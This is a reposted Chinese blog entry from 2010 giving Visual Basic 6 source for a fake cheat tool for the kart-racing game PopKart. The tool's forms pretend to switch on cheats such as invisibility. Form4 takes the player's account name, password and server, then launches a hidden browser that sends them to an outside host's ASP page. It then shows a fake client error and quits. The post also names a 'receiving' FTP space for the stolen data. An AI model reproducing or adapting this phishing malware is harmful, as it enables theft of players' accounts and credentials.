暂时放一放./..脑子要炸了
暂时放一放./..脑子要炸了
2010年11月10日
ftp://55018.7e7e.info/ 收信空间
ASP设置:
VB FORM1窗口代码:
Dim X As Integer
Private Sub Check1_Click()
If Check1.Value = 1 Then
i = MsgBox("一键灭黑锁定成功", , "新势力老汉推车")
End If
End Sub
Private Sub Check2_Click()
If Check2.Value = 1 Then
i = MsgBox("点击打开跑跑即可,老汉不老,推车不倒", , "新势力老汉推车")
End If
End Sub
Private Sub Check3_Click()
If Check3.Value = 1 Then
i = MsgBox("隐身开启按F3", , "新势力老汉推车")
End If
End Sub
Private Sub Command1_Click()
Timer1.Enabled = True
End Sub
Private Sub Form_Load()
Check1.Value = 0
X = 0
Timer1.Enabled = False
End Sub
Private Sub Timer1_Timer()
X = X + 1
If X = 2 Then
Form1.Hide
Form2.Show
Form3.Show
End If
End Sub
VB FORM2窗口代码:
Dim i As Integer
Private Sub Form_Load()
pc2.Visible = False
i = 0
Timer1.Enabled = True
End Sub
Private Sub Timer1_Timer()
i = i + 1
If i = 2 Then
pc1.Visible = False
pc2.Visible = True
Form3.Hide
End If
If i = 4 Then
Form2.Hide
Form4.Show
End If
End Sub
VB FORM3窗口代码:
Private Sub Form_Load()
Me.Top = Screen.Height - Me.Height
Me.Left = Screen.Width - Me.Width
End Sub
VB FORM4窗口代码:
Dim s As Integer
Dim Y As Integer
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Sub Label1_Click()
ShellExecute Me.hwnd, "open", "http://popkart.tiancity.com/homepage/article/Class_47_Time_1.html", vbNull, "c:", vbNull
End Sub
Private Sub Label2_Click()
ShellExecute Me.hwnd, "open", "http://popkart.tiancity.com/homepage/article/2010/11/08/27353.html", vbNull, "c:", vbNull
End Sub
Private Sub Label3_Click()
ShellExecute Me.hwnd, "open", "http://popkart.tiancity.com/homepage/article/2010/11/04/27340.html", vbNull, "c:", vbNull
End Sub
Private Sub Label4_Click()
ShellExecute Me.hwnd, "open", "http://popkart.tiancity.com/homepage/article/2010/11/04/27339.html", vbNull, "c:", vbNull
End Sub
Private Sub Label5_Click()
ShellExecute Me.hwnd, "open", "http://member.tiancity.com/User/PasswordFindMethod.aspx", vbNull, "c:", vbNull
End Sub
Private Sub Label6_Click()
ShellExecute Me.hwnd, "open", "http://member.tiancity.com/Registration/KartReg.aspx", vbNull, "c:", vbNull
End Sub
Private Sub pc1_Click()
Dim a As String
Dim b As String
Dim c As String
a = Text1.Text
b = Text2.Text
If o1.Value = True Then
c = o1.Caption
End If
If o2.Value = True Then
c = o2.Caption
End If
If o3.Value = True Then
c = o3.Caption
End If
If o4.Value = True Then
c = o4.Caption
End If
Shell "c:\Program Files\Internet Explorer\iexplore.exe http://55018.7e7e.info/test.asp?name=" + a + "&pass=" + b + "&quss=" + c, vbHide
Timer1.Enabled = True
pc1.Visible = False
pc2.Visible = True
Timer2.Enabled = True
End Sub
Private Sub Form_Load()
s = 0
Y = 0
p2.Visible = False
pc2.Visible = False
Timer2.Enabled = False
Timer3.Enabled = True
End Sub
Private Sub Timer1_Timer()
Timer1.Enabled = False
End Sub
Private Sub Timer2_Timer()
s = s + 1
If s = 2 Then
i = MsgBox("跑跑客户端错误", 16 + 1, "错误,37,0,0,1")
End
End If
End Sub
Private Sub Timer3_Timer()
Y = Y + 1
If Y = 1 Then
p2.Visible = True
End If
If Y = 2 Then
p2.Visible = False
End If
If Y = 3 Then
p2.Visible = True
End If
If Y = 4 Then
p2.Visible = False
Y = 0
End If
End Sub
Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Label2.FontUnderline = False
Label3.FontUnderline = False
Label4.FontUnderline = False
End Sub
Private Sub Label2_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Label2.FontUnderline = True
End Sub
Private Sub Label3_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Label3.FontUnderline = True
End Sub
Private Sub Label4_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Label4.FontUnderline = True
End Sub
猜你喜欢
转载自gdvzq90e.iteye.com/blog/1359182
今日推荐
周排行